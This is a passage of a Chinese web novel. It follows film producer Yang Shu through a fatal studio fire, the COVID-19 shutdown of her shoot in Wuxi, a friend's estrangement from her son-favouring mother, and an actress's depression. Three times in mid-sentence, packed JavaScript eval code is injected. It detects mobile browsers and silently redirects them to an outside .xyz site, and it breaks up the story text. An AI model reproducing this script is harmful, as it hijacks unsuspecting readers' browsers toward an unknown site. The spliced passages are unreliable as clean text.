杨树发动她认识的演员明星为朱青的读书分享会做宣传,唐问羽找她:“我不懂经营,就问你,怎么投钱?” 杨树说需要投钱的时候再找她,紧接着,祁宁也找来了:“我们把大小猫的利润拿点出来支援朱青?” 托短视频和直播的福,大小猫创意文化公司蒸蒸日上,杨树投入陈樟那50万本金早就赚回来了,她给陈樟分了红,等分到100万的时候,剩下的就都归自己。陈樟嫌她太个色,但她觉得这样才能心安理得,她跟祁宁说:“你是大老板,你看着办。” 跨年夜,丁盼兮带着岑川来无锡和杨树聚会,欢送2019年离去。朱青本来也要来,但读书分享会也有聚会。 元旦刚过,杨树正在跟美术团队谈事,手机推送了一条娱乐新闻。李伊梦担任制片、舒纹担任导演的《我是这样把男朋友作没了》剧组出了事故,摄影棚失火,造成两名灯光师死亡。 当晚拍完夜戏,演员们都撤了,剩下工作人员收尾,有人没忍住烟瘾,火星溅落,但摄影棚安全措施不完善,酿成惨祸。 这样的事故是瞒不住的,舒纹让人出具了声明,向公众道歉,并赔偿遇难者家属,走的是正常流程,但李伊梦是栽了。她悭吝不减当年,没给所有工作人员投保,赔偿费用都由个人承担,她找丈夫求助,丈夫无动无衷。 赔偿金为200万,李伊梦掏不出来,找青芽图书公司大老板借钱,大老板对她有几分怜悯,但200万说掏就掏,不是商人本色。 施严有个朋友在《我是这样把男朋友作没了》剧组里,据说舒纹和李伊梦争权争得很热闹。拍摄时,两人都不按剧本来,制片人李伊梦严控成本,不拘小节删剧本,这场是废戏,删掉,那场是过场戏,删掉,但导演舒纹照拍不误,还边拍边改,这里加几句,那里加几段,每天都甩几场戏,李伊梦跟她谈过几次,但舒纹我行我素。 李伊梦发火了,她说舒纹压根不懂故事,编剧走了几任,就因为导演瞎掺和,这话触了舒纹的雷,变本加厉在剧组体现她的权威。 美术组准备的窗帘不合心意,舒纹大发雷霆,剧中主角人设是有品位的设计师,美术组却让她卧室用30几块钱一米的便宜窗帘,有碍观瞻,于是那天的拍摄又被耽误了好一阵。 杨树倒也不能说舒纹不对,导演是整部戏的灵魂,大到这场戏拍多久,小到男主角写毛笔字的手替不像年轻人的手,都能做决策。 钟鲁粤对艺术也有追求,拍《暗昼》之初,有一次为了拍两车相撞的镜头,他用了整整一天。 车是报废汽车改装,不值钱,但剧组每天开支数万,演员合同也规定了天数,不能如期拍完就在烧钱,当天晚上,杨树叫了小龙虾,去找钟鲁粤喝酒。 制片组既要维护艺术创作,也得控制进度和成本,啤酒白酒轮着喝下去,钟鲁粤理解了杨树的难处,那之后,他和杨树合作顺畅多了。 施严的朋友发来《我是这样把男朋友作没了》剧本定稿,杨树看笑了,舒纹有着很多人的通病——不会讲故事,但喜欢把编剧拎到眼皮下,她说一句,编剧对着电脑敲一句。这个问题很好解决,找个好编剧就行了,但舒纹贪权好功,不仅署名为导演,还署了总编剧的名头。 《我是这样把男朋友作没了》拍摄照旧,灯光师的遗孀在网上哭诉只见道歉,不见赔偿,出品人迫于压力,垫付了费用,但这钱李伊梦得还。 李伊梦去年生了儿子,丈夫疼儿子,终于提出帮她支付赔偿金,但得离婚,儿子归他。李伊梦不肯,她变卖了父母的房子,堵上窟窿,但舒纹嫌她对创作干涉太多,顺势把她踢走了,换上自家亲戚负责制片事务。 李伊梦回归家庭带孩子,对外号称想沉淀一下。但把父母惟一房产卖了,她怎会甘心,杨树知道她仍会扑腾,对她下一步动作甚是期待。 1月15日,《红雨》在无锡开机。四大主演里,唐问羽是最让杨树放心的,她能以个人风采为角色增辉;何攸之是工兵型,演戏稍显木讷,只能在剧本限定内发挥,超纲部分需要导演逐场讲解;尹云谅倒给人惊喜,他演戏少,经验不足,但演惯了话剧,爆发力很强,让杨树想起初相识的祁宁。 尹云谅的角色是无锋之人,戏眼几乎都落在跟他演对手戏的俞小舟身上。这四人里,只有俞小舟参演的作品拿过奖,但她是最弱一环,角色跟她本人适配度极高,但她演得像提丝木偶,缺乏气韵。 钟鲁粤手把手教俞小舟,俞小舟仍只能照本宣科演出来,不能为角色注入灵魂。但《红雨》是双女主故事,谁掉链子都会影响整部戏,唐问羽是第一次见到俞小舟本人演戏,单独找杨树问:“她是不是有情绪问题?总是恍恍惚惚的。” 杨树给俞小舟试戏时就惊讶过,这人在电影里演得还行,真实演技怎么烂成这样?但电影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女人被打得忍无可忍,冲出家门,想到要杀了丈夫,这样的戏绝不是跟她讲“你丢失了从小到大戴在脖子上的项链,却发现被你最讨厌的人偷走了”就能诠释得当的。 俞小舟让所有人都发愁,钟鲁粤拍完戏回酒店,找杨树聊剧本。在走廊上,杨树迎面看到一个拎着外卖袋子而行的女孩,女孩很陌生,很美貌,杨树多看了两眼,女孩有点紧张,转身往电梯走了。 剧组所有人杨树都认识,这女孩是谁?不多时,杨树透过窗户看到尹云谅下楼迎向那女孩,两人略微避着人,但举止亲密,不言而喻。 给男艺人发私信和照片的女孩挺多,当中不乏美貌的,有的男艺人拍完戏穷极无聊,会跟她们私聊。拍摄《天作之合》时,男一号白杨就经常拍摄酒店房间照片,对她们撒娇:“好烦哦,助理请假了,房间这么乱,都不知道怎么办了。” 多聊几句,美貌的女孩们心领神会:“我来帮你。” 女孩们过完夜,还真把房间收拾了,对她们来说,能睡到男明星就是赚了,她们不吝于再多干点体力活。 拍戏第一天,尹云谅竟然就耐不住寂寞。杨树多观察了两天,此人跟何攸之一样,一晚上的时间安排不过来。但何攸之红些,还被人打过,他很少找生人,只跟演员搭档或组里的女工作人员进行深入交流。 尹云谅对外貌身材要求高,他参加过几档综艺节目,积累了一些粉丝,粉丝很乐于当他的外卖员。 尹云谅不红,但长得比普通男人帅,又是演员身份,在异性眼里自带光环,女孩们都高兴得不得了,甘愿千里走单骑,或趁粉丝应援之时过来。 尹云谅和何攸之日复一日跟不同的女人们切磋,钟鲁粤则为拍俞小舟绞尽脑汁,转眼间,执行制片人杨树陷入更大的愁苦。 开机前,新闻讲到在武汉发现一种新型肺炎,但大家都没引起警觉,开机第6天,专家确定人传人。因为是千里之外的事情,《红雨》照常拍戏,杨树有些不安,很留意相关新闻,让制片主任做出安全防范,医用口罩和酒精也都买起来。 疫情扩散比想象中更快。1月27日,横店影视城宣布剧组全面停拍,无锡随即也做出了同样的决定。《红雨》被迫停工,制片助理小五发布了暂停拍摄通告。 84. 第 84 章 一停工,众人都闲下来,制片组忙得四脚朝天,非常时期的各项保护措施,防疫物资的储备调配,以及各项生产计划备案,甚至剧组人员的情绪管理,杨树都得过问。 最要命的是钱,拍摄场地大多是朱青读书会的成员帮忙搞定的免费场所,这方面不大花钱,但离开人员的路费报销、滞留在无锡的人员吃住等生活基本保障,拍摄设备的租金,统统在花钱。杨树估算下来,一天的亏损20多万,还不知道亏到何时,她坐立难安,还心挂两头,每天和爸爸互报平安。 复工之日不明,主创人员聘约超期,后续档期被打乱,都需要沟通协商,不过合同都约定过不可抗力这一条,各人都很理解,纷纷补签了。 唐问羽和何攸之等人飞回亲人或伴侣身边,大多数人都留在无锡休整待命。杨树发出特殊管理办法的通知,对留守人员集中封闭管理,房间也配合酒店方面,每天消毒和体温检测。 杨树每天睁眼就是钱,补税风波已重创影视业,这次受新型冠状病毒肺炎疫情影响,影视业再度休克。《红雨》是网站自制剧,情况尚好,有些中小公司亏损不起,剧组就地解散了。 接受事实,共渡难关是业内共识,姚澈工作室上半年是3部戏的计划,都得挪后,惟一的好处是给编剧留足充裕时间写剧本,前期筹备也能充足些。 杨树烦了两天,调整了心态,线上会议、分工配置、稳固大局,才是制片人的首要任务。 剧组的剪辑团队开始工作,机房消过毒,剪辑工作人员一个人一个单间,用手机交流,杨树去剪辑室看素材,跟钟鲁粤共同调整粗剪剧集的调性,统一风格气质。 钟鲁粤导出一些片段,让留在无锡的俞小舟和尹云谅等主要演员观看,让他们自查自纠。这是个残酷时刻,俞小舟完全不说话了,她被无名之辈尹云谅全方位压制了,杨树眼看着她红了眼圈,她不知道如何去演好,但她知道自己演得不好。 尹云谅对自己的表现不太满意,自顾自地演了几条给钟鲁粤看,俞小舟像风中落花般惊惶,坐到一旁发呆。杨树站得稍远看他们,俞小舟演不出人设里做事麻利的穷困少妇,但她身上这种破碎感,能让婚姻里的弱势方更直观。 《红雨》是很暗黑的两性博弈故事,以旁观者的出离心写尽世道残忍,钟鲁粤本来对这种气质很满意,但疫情如浓雾笼罩心头,他改变主意了,在紧张时刻用些冷幽默表露温情,才能安慰受苦或者曾经受苦的灵魂,剧本有些小地方,他让编剧再调调,配乐风格也会相应地变一变。 杨树看了素材,逼仄情绪好了些许,除了俞小舟,另外的演员都没给剧本减分,俞小舟虽然不太行,但钟鲁粤调度有方,她演得不太让人出戏,正好这段时间停工了,钟鲁粤有的是时间教她。 杨树每天和亲友们通话,手机不离手,一会儿笑,一会儿伤感。相比这片土地上发生的悲欢离合,很多热门影视剧实在太轻佻了。 停工一周后,影视基地下达通知,免除疫情停工期间剧组租用摄影棚和拍摄场地费用,还减免剧组所在的酒店房费,杨树一举活了过来,配套供应商随即也联系她,他们放弃停工期间器材租金,共克时艰。 在影视基地和同行的帮扶体谅下,《红雨》剧组单日支出只有餐饮和部分住宿费用,压缩到2万多,杨树安心多了,有心情去关心《红雨》之外的事了。 明堂影业那部被平台嫌糖分不够的医疗剧,在补拍几十场情感戏后,得到夏停所在卫视的认可,该剧预计两台联播,再加上KR网站,发行成绩很理想。 《北宋宫事》已是第5次送审,被删得七零八落,改动很大,主创人员想做部经典作品的梦想已不可企及,只能为播出而努力。钱一诺恨不得不上卫视,就在视频网站播出,但只能想想而已,《北宋宫事》是以电视剧立项,在没拿到发行许可证之前,禁止在网络平台播出。 从巨忙无比到无事可做,有点突然,杨树看起了各式各样的小说,像回到了当图书编辑的时光。《瓷缘》原著作者刘书云颈椎病加重,原定2018年写完的新作《桥梁》,拖到去年底才写完,杨树当时忙着筹备《红雨》,到现在才有空细看。 网站囤积的IP太多,如今小说影视版权是否能卖掉,很大程度取决于有没有制作团队承接。杨树自问做不下来,而且《桥梁》是正剧,更适合输送到卫视,她把《桥梁》转给了钱一诺,这样的宏大题材,还得交给老牌制作公司参与制作。 未来三年总局都有献礼剧安排,明堂影业领到任务,陆陆续续在筹备,除了《西北年轻人》等定档上卫视的,还有杀青不久的、送审中的,共计五部。《桥梁》走的是宏大叙事风格,很明显是献礼剧气质,钱一诺对它手不释卷,但它投资不小,他有些迟疑。 如果早两年,以《桥梁》的质量,钱一诺二话不说就会做,但寒冬期望不见边,影视公司和投资方都没钱了。别的题材还好说点,献礼剧风险大,过了几个节点,卫视不采购,央视出价不高,视频网站又不待见,很可能就压下来了。 杨树郁闷,去酒店小厨房做个柠檬炸鸡,拿到天台去吃。她和众人天天窝在酒店,都快憋出病了,想上天台透透气。 刚踏上天台,就听到哭声,探头望去,俞小舟在痛哭。杨树站了站,默然退回来。 在《红雨》剧组,何攸之比俞小舟粉丝多,唐问羽比她美,主要对手戏演员尹云谅比她演技好,她压力当然大,杨树叹气,这姑娘自尊心很强,但演戏总归得自己开悟。 偌大的会议室无人,杨树吃完东西,重新看剧本。《红雨》剧本整体水准高,但没写好的地方也有数处,不能推到制作阶段去落实,还得再读一遍,正面硬碰硬。 宋琳和白蓝接了新项目,但没人催了,正好有空把《红雨》剧本再仔细完善,狠着心删改添补。两人都是职业编剧,很看重戏剧冲突,但有十几场被她们删掉的戏,杨树还是放回来了。这两年,国产剧太害怕抓不住观众,恨不得每集都疯狂反转,但闲笔会让讲述生活的故事更耐咂摸,删了反而不对。 做《不惑之年》时,夏停就说过,不要把戏做得太紧,丢了呼吸感。剧本里偶尔来几场文学性的段落,会被很多从业者认为编剧不会写戏,一定要拿掉,但如果你身边有一个人,双眼炯炯,步步为营,言必称效率,从不跟人闲聊,你或许会欣赏他精明强干,但很难说他是个可亲的人,生活故事是不该失去可亲感的。 丁盼兮打来电话,她从山东来无锡了。自从前年跟家里吵过,丁盼兮再没回家,今年她和岑川订了去法国旅游的机票,被疫情打乱了计划,两人就在北京过年。丁盼兮叮嘱家里做好防护工作,她妈口头上应了,但视频时,丁盼兮骇然发觉村里没人戴口罩,还照常串门。 丁盼兮三令五申让家人重视,但他们都固执,哪怕湖北封省,他们都不重视:“湖北人出不来,我们安全了。” 村干部拎着大喇叭挨家挨户地宣传,村人才收敛了些,但自家亲戚仍聚在一起喝酒,打牌,吹牛,口罩也很少戴,买不到,也懒得买。 人传人的新闻一出,丁盼兮就去药店收罗了一些,岑川也托人买了些,章嘉敏和女儿也都用上了。丁盼兮不顾岑川反对,坚决要回家,岑川提出跟她一起回去,丁盼兮不想在这种兵荒马乱的时刻带他回家,第一次带男朋友见父母,得正正式式才行。 岑川不放心丁盼兮坐高铁,丁盼兮开他的车回了烟台,给家人带了酒精、口罩、护目镜和消毒水等物资,她很久没回家了,家里还是高兴的。 弟媳生的女儿一岁多了,会喊人了,丁盼兮抱着亲个没完。大过年的,家里人不想吵架,都按丁盼兮的意思来,老老实实待在家里,还把家里角角落落都消了毒。 不愉快的事情,大家都心照不宣再不提起,一家人的关系就这样破冰了。妈妈这两年老多了,带孩子累的,丁盼兮住下了,想陪妈妈多待几天,有天妈妈搓洗内裤,被丁盼兮发现不对劲。 妈妈前两年月经就停了,但不定期会出现少量出血,丁盼兮询问,妈妈还很不好意思,以为是绝经期紊乱,偶尔滴滴答答几滴,她内裤洗得很勤。 丁盼兮在前公司管人事时,有个女员工得了子宫颈癌,找她请过假,她还记得那女人说过,会有不规则出血症状。丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091490|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盼兮想让妈妈去看医生,但疫情期,医院是最危险的地方,她让妈妈等疫情结束,一定要去查清楚,妈妈有点慌,连声应了。 但以丁盼兮对妈妈的了解,当时害怕,过后又照旧了。她跟妈妈好好谈了一次,她改做财务,收入比以前高不少,还在大小猫创意文化公司做兼职,每季度都能分红。 虽然还没能在北京买房子,但丁盼兮能给妈妈租个好一点的房子,她大学考去北京就说过,总有一天要把妈妈接到身边住,她这次回来,就带妈妈走。 妈妈让女儿放心,有病治病,她绝对会去看医生,但去北京就算了,她不能走。丁盼兮以为妈妈不肯去北京住出租屋,但以她的积蓄,未来几年仍买不起房子,她着急了:“我都说了,给你租个好点的房子,就跟我租同一个小区,走动照应都方便。我还能给你找点事情做,嘉敏的女儿归你接送,她腾出手工作,每个月给你发工资。” 女儿孝顺,妈妈很高兴,但女儿有男朋友了,早晚是别家的人,当妈的去北京同住不便。丁盼兮不爱听:“我姓丁,是我自己,不是别人家的人。我跟你说了这么多次,让你以后跟我住,你都答应了,其实你是哄我的?” 妈妈说等女儿结婚,她和爸爸就完成任务了,以后她会去北京探探亲,但这几年走不开,儿媳头胎生的是女儿,她得监督儿媳给她生个大胖小子,等儿子大了,她才腾得出空上北京。 弟媳生孩子难产,孩子在保育箱里住了几天,丁盼兮给她买了营养品,还转了两次账,一笔5万块是礼金,一笔26666块是给弟媳个人的,让她压压惊。 丁盼兮肯花钱,弟弟弟媳也不那么计较她了,丁盼兮这次回来,他们都显得大度。丁母说儿媳对生孩子心有余悸,不肯再生,她做了不少思想工作,儿媳没松口,但小两口感情不错,多想点办法,不信她不生二胎。 妈妈眉飞色舞地说自己有办法治儿媳,丁盼兮怔怔地看她,突然之间,就想明白很多事。30多年了,有的事并没有改变,妈妈为了生弟弟,东躲西藏,并不是被谁逼迫,是她自己想生儿子,她就是爱儿子。 从小到大,丁盼兮都听到妈妈叨咕生儿子是没办法的事,因为不能让丁家断了香火,别人会笑话,腰杆都挺不直。可是为什么要把别人的话那么当真?别人让她吃屎,她会觉得可笑,不予理会,但一定得生个儿子,为什么不可笑呢,说明她认为就该如此。 妈妈忙去了,丁盼兮袖着手,在窗前站了很久,一切都没意思透了。吃完晚饭,妈妈去洗碗,她跟进厨房,说她明天就回北京。 妈妈没多留,她催着丁盼兮快点跟岑川定下来,律师职业吃香,收入高,看照片长得也端正,不知多少年轻的盯着他,但丁盼兮33岁了,得赶紧抓住岑川,赶紧生孩子才保险。 丁盼兮冷淡道:“我的事你别管。” 妈妈急了,她说女儿都这么大年纪了,找到一个各方面都不错,能托付终身的人,就该趁热打铁,早点嫁了,别再让家里操心。丁盼兮哈地笑了,“托付终身”,瞧瞧这用词。 妈妈见女儿阴阳怪气,问她是不是两人感情出了问题,丁盼兮仍让她别管,妈妈叹息了,女儿19岁去北京上大学,23岁大学毕业,寻寻觅觅10年,仍没嫁出去,但一个女人一生能有几个10年?好时光就这么被她自己糟蹋了,还不抓紧和岑川把事情定了,她以后可找不到这么好的男人。 丁盼兮满心厌恶,难道必须给10年标个价格,实现价值最大化,没嫁人时间就叫浪费?但她没反驳妈妈,收拾了衣物睡下了。 每一句说服或反对父母的话说出口之前,丁盼兮就知道他们会回复怎样的话,慢慢地就不再试图沟通,本质上是两个世界的人,而且父母永远都以长辈自居,不服软。 丁盼兮没回北京,拖着灰心来了无锡。岑川是北京本地人,自己单住,他说维系亲情的秘诀是常回家看看,但每次不宜超过两天。 岑川事业小有成就,父母能把他当个人物看待,不像丁盼兮在父母面前那样,永远是小辈,是大龄未嫁的女儿,将来是别人家的人。丁盼兮满心的话,都想跟杨树说。 85. 第 85 章 回家这趟,丁盼兮很悲哀地确定了一个事实,她不能说父母不爱她,但只像爱小猫小狗一样。小时候,她被父母扔在老家,村里人逗她说:“盼兮啊,你盼到弟弟了,你爸妈再不爱你喽。”她不信,一次次用父母过年带给她的玩具和零食大礼包证明,那是爱。 成年后,父母盘算过丁盼兮的未来,家里帮不到她,但也不会找她要什么,她结婚,男方给的彩礼都归她,他们不拿一分一毫。可他们对待儿子,是把所有收入都给他,没条件仍创造条件,借钱买房子,贷款买车,当儿子的后盾。 丁盼兮知道父母偏心,但她毕业入社会之前,吃穿和学费,都是父母掏的,电视上探讨过原生家庭话题,那些不被爱的女儿都被家里人吸血,但她没有,她因此对自己说“他们也是爱我的”,可这份爱以何为凭?当他们说出“你嫁人了,我们的任务就完成了”,她清晰地明白,弟弟和父母才是一家人。 丁盼兮泣不成声,她对自己搪塞不下去了。杨树给她做咖啡,把自己熬夜时吃的小零食都堆到她面前,她想,也许搪塞自己是一种生存策略,幼年时,无法接受不被爱的事实,大脑开启了自我保护机制,学着把薄待当成爱,但人已经长大了,可以保护自己了。 杨树特地换了一间套房,跟丁盼兮一起住,一起追剧看小说,站在小厨房吃简单的火锅。 承认父母不爱自己,固然令人心碎,但只要摆脱自我哄骗,走出来不过是一瞬间。丁盼兮接受了事实,不被爱,又怎样呢。她自问并不爱她爸,对她弟弟也一般,很多时候出于“我们是亲人,我要对他们好”的目的,而不是源自内心涌动的爱。既然她能不爱她爸她弟弟,为什么一定就得爱她妈? 轻松感又回到丁盼兮身上,从此再不用自欺欺人,彻彻底底为自己而活。杨树放心了,以自己的感受为重就对了,透支感情在给不了回应的人身上,只会损坏情绪。 有比较就更有认识,杨树越发觉得爸爸好,每天跟爸爸聊天。爸爸单位肩负民生问题,给市民送蔬菜米油面和医疗物资,好在内蒙感染者很少。 爸爸今年6月就会退休,单位没给他多派活儿,他有很多时间待在家里,每天除了看电视就是在网上斗地主,音量开到最大,一炸一轰隆,被杨树赐名金色轰炸机。 丁盼兮在无锡住了几天,去苏州晃了晃,看看朱青就回北京了。自从放下亲情,她对跟岑川、跟朋友们的关系有了更明确的认识。像杨家父女那样融洽的关系不是每个人都拥有的,在大多数的家庭里,互相妥协才是常态,从今往后,她对父母只尽责任,只讲义务。 熊好好迷上了丁盼兮从山东带来的杂粮煎饼,比酒店每天提供的馒头好吃多了,但精打细算地吃,还是快吃完了。 网上各地的人都因疫情困守家中,迷上了做面食,熊好好搓搓手,网购了山东煎饼杂粮面,誓要让杨树尝尝她的手艺。 按说明书试过三次,统统宣告失败。杨树搜到一个全国煎饼摊摊主群,摊主们大方分享水面配比,火候调味,熊好好听说要摊上百张才能熟练操作,呜呼一声,扎进被子。 熊好好偃旗息鼓,杨树跟煎饼较上了劲,摊了一下午,马马虎虎能吃了,于是剧组整层楼的人晚饭都加上餐了。 停工两周后,杨树接到通知,影视基地将于2月中旬逐步恢复拍摄工作,总制片人姚澈让杨树按兵不动,以观望为主。 在未知面前,任何小细节都可能酿成灾难。杨树和制片组成员精细管理剧组,核算亏损,为复工事项百般推敲。 2月20日,有几个剧组复工了,他们被当成试验对象,用来规范剧组复工流程,杨树积极收集信息,让制片组成员采买医用物资,分批召回离组人员提前隔离,为复工做准备。 按照《复工指导意见》的要求,每个回到组内的人员都将进行14天的隔离,杨树稳妥起见,联系医务人员对他们进行核酸检测,把众人的活动范围限制在房间、剪辑室和健身房,一日三餐都由专人送去。 杨树全副武装去视察,看到唐问羽待在剪辑室,对着已剪完的素材做了一个纠错本,把没演好的地方都圈出来,再一翻,她的剧本密密麻麻都是注释。 医疗物资一批批送到,杨树下楼去交接,俞小舟拎着一袋药,从侧门闪身而过,杨树见她没戴口罩,招招手,让她拿一些。俞小舟慌慌张张地过来,说她感冒了,鼻塞得厉害,戴口罩不透气,她只是下来取个药,这才心怀侥幸。 被杨树抓了现行,俞小舟抓着装药的塑料袋,很是窘迫。杨树瞥了一眼,然后多看了几眼。俞小舟遮遮掩掩找人弄的药,其实是抗抑郁和焦虑的。章嘉敏的丈夫常吃这几种药,她都听说过。 随时随地都笑成眯眯眼的俞小舟其实是抑郁症患者,杨树想知道她到什么阶段了,把她喊到大会议室,两人站在会议桌两端聊天。 俞小舟只承认跟恋人闹别扭,再加上疫情如□□笼罩心头,夜夜睡不着,才不得不吃药。杨树直接问:“做了检查吗?中度重度?” 俞小舟不想承认,但杨树是制片人,她有权知道演员们的身体和精神状况。俞小舟低下头:“中度,但比去年好多了。” 俞小舟跟所有合作过的男演员都炒过CP,但影视剧播完她就辟谣了,自称单身狗。拍《狼穴》时,何攸之和韩紫倩的私情打得杨树措手不及,她不能不问:“对方结婚了吗,有你之外的女人吗?” 俞小舟没做声,杨树没追问,但也不走开,终于,俞小舟一横心,抬起头:“他单身,但他跟很多人传绯闻,我知道有的是真的。” 是单身就行,杨树不打算再问,但俞小舟坐下来,自顾自地讲开了。她和对方是在某个颁奖晚会上认识的,对方帮她提裙摆,附耳轻言她很漂亮,她怦然心动。杨树并不想知道那男人的名字,但俞小舟主动说了,是《北宋宫事》的男主角林礼璋。 林礼璋是娱乐圈炙手可热的钻石王老五,今年快38岁,仍然未婚,但俞小舟说他其实结过婚,只是大众不知情。 林礼璋出道至今,有过几任女朋友,都是圈内人,上一段公开恋情是几年前,他怀疑女方借他上位,分开了。 经纪公司给林礼璋介绍了一位富家女,在海外留学,相貌气质佳,两人一拍即合,结了婚。但激情褪去后,精神上的南辕北辙暴露出来,他们默默离了婚。 富家女家世不俗,虽然和国内一线明星隐婚,也从未向外界透露半个字。这消息让杨树惊讶,但俞小舟神色悲哀,不像作伪。杨树想到《北宋宫事》拍草原战争戏份时,那个怀了林礼璋孩子又被打掉的小姑娘,也许像俞小舟这样爱到不可自拔,会更惨烈。 俞小舟流下眼泪:“我是真的很爱他。可他结过又离过,他说不想再结婚了,他妈去世后,再没什么束缚他的了。” 一段关系里,地位低的那一方常常更渴望婚姻,但让俞小舟抑郁的不光是她想结婚,而林礼璋不想,她伤心难过,是因为她只是林礼璋众多情人之一。她把这归结为她不美,演技差,前途渺茫上。 杨树仔细看俞小舟,在女明星里,她是不算美,但她不笑时像个破碎的娃娃,能演各种各样的边缘恋歌,有她独特的一面。她说:“你有你的戏路,是别人演不了的。” 俞小舟怔然,杨树说:“你把为感情伤心的时间,用来琢磨戏,没准就开窍了。唐问羽在你这个年纪,演戏也总被人骂。你现在不佩服她吗?” 俞小舟点完头就摇头,林礼璋说她没天赋,开不了窍,不如多上点综艺,多拍点广告。杨树笑出声,林礼璋自己的演技也就那回事,只是沾了角色的光。 古装剧本就是圈粉利器,林礼璋演的向来是尊贵的王侯将相和公子哥儿,公司也舍得花大钱捧他,天时地利人和都占全了,不红也难。 拍摄《北宋宫事》时,单明玉时常为林礼璋演不出她脑子里的宋太宗发愁,杨树安慰俞小舟:“别听他的,你进步你自己的,多琢磨戏,不懂就来找我。” 俞小舟很怕钟鲁粤,对杨树也有点怯意,但杨树一直笑着说话,她放松了点:“我每天都在看咱们戏的剧本。” 杨树说:“那也不行,咱们戏太沉重了,最近你得多看点轻松的换脑子。” 俞小舟说有几个甜宠剧都递到经纪人手上了,但她决定不了:“您能帮我看看吗?”想想又补充,“我能这样吗?” 杨树让她发到邮箱里,笑道:“别客气,我就当换换脑子。” 杨树看完俞小舟那几部甜宠剧剧本,约她在天台聊天,照例戴好口罩,隔了几米远的距离。 剧本都往死里撒糖,但从人设到故事线,都极其相似,将来播出时,想制造热度高峰恐怕比较难,杨树从中选了一个故事相对写得好的,但建议俞小舟先根治心结。 俞小舟说她办不到:“我就是离不开他,我都没办法想他现在正在跟哪个女人在一起。” 杨树给她讲起前下属黄婕,听姜妤说,她仍是跟赌鬼男朋友结婚了,但在感情里被带了节奏的人,经济受损,事业停滞,不是以离婚告终,就是抑郁终老。俞小舟说烂赌鬼和林礼璋没得比,杨树说烂赌鬼是她自己,对浪子抱有幻想,恋战不休的不是赌鬼是什么? 章嘉敏丈夫在北京时,一度抑郁到行动不便,在心理医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何太太暂时没有表态,杨树指挥小五,第一时间宣布《红雨》换角,跟何攸之作出切割。 《红雨》开机才12天,无锡就停工了,何攸之统共只拍了几十场戏,换人损失不大,但《狼穴》后期都快做完了,它的投资比《红雨》大得多,姚澈忙着想对策,《红雨》剧组事宜全部交给杨树。 杨树嘴角冒泡,急得上火了,仿佛又回到等在韩紫倩金主的老洋房门外那天。当时她一筹莫展,当事情迅速解决后,仍有一种恍惚感,原来等在了这里。 若《狼穴》之后,就不跟何攸之合作,是不是就能及时止损?然而,每个男艺人都是潜藏的雷,何攸之虽然过分,但用别人,可能也避免不了今日的事端。 祁宁每天都和杨树汇报动态,杨树知道他最近得闲,打电话过去:“你在感情上有没有烂账?” 祁宁一愣,继而大喜过望:“你分手了?” 杨树没好气:“问你话。” 祁宁迟疑着说:“……就是你知道的那些,都是以前的事了。” 杨树问:“别的没有了?” 她没正面回答是否分手,很可能是分了。祁宁精神大振,连忙说:“后来真没有烂账,税务也没问题。熬到现在不容易,我有数。” 杨树说:“好,我们戏需要你来救急。” 去年底,祁宁接了一部老北京生活剧,在北京为它练功,它是底层叙事,男一号得讲一口京片子,举手投足做派也得练。剧组原本2月在北京开机,看情况还得延后,北京是首都,比别处更谨慎些。杨树发话,祁宁响应得很干脆:“我马上订票。” 杨树有点歉意:“就是人设不大好。” 祁宁笑着复述那年她劝他接暴骄废太子时说过的话,演员依赖人设,说明功夫还不到家,把不讨喜的角色演得耐人寻味,才是本事。 杨树召开线上会议,让众人在某些事上悠着点,适可而止。她没点名,但尹云谅私生活混乱,在剧组人皆所知,他未婚,爆出“睡粉丝”虽不至于像何攸之一样满城风雨,但以他那点几乎不存在的名气,路人缘这个东西,他最好得有。 复工之日又得延期了,众人都发慌,不约而同来到天台上,相隔数米闲聊。俞小舟默默地听着众人谈天,托腮想自己的事情。 快傍晚时,姚澈的线人打听到实情,何攸之那几个外室是被有心人抛出来的炮弹,对他经济制裁才是最终目的。 几个外室论长相和能力,在娱乐圈出不了头,她们和何攸之都有年头了,何攸之用自己的人脉让她们演点微不足道的小角色,有时买点礼物,图个干净方便。外室们跳出来拿证据钉死他,只因拿了别人更大的好处。 86. 第 86 章 何攸之和太太结婚后,开了一家名为星源的经纪公司,两人在圈内有能量,公司造星能力较强,得到王尧成的赏识,并成为公司最重要的投资者。王尧成是某省商会副会长,有他保驾护航,星源经纪做大,参投的影视剧也叫座,在娱乐圈排得上号。 王尧成新娶的小娇妻是受他力捧的电视台主持人,今年元旦,两人举办了婚礼。王尧成常年北京上海两头跑,何攸之色胆包天——可能是为了寻求刺激,他打点行装赴无锡拍《红雨》前夕,跑去和主持人在新房颠鸾倒凤,被临时回来的王尧成之子撞见。 王尧成面上如常,但让何攸之的外室接二连三冒出头,用意很简单,先让何攸之名裂,再让他彻底身败。星源经纪公司去年底投拍了两部戏,一部抢在疫情爆发前杀青,另一部跟《红雨》情况差不多,王尧成将不再投资它。 “睡大嫂”的行为令人不齿,线人透露,以王尧成在商界的威望,何氏夫妇麻烦大了。何攸之作为星源经纪公司的法人代表,必然会陷入多起诉讼案件中。 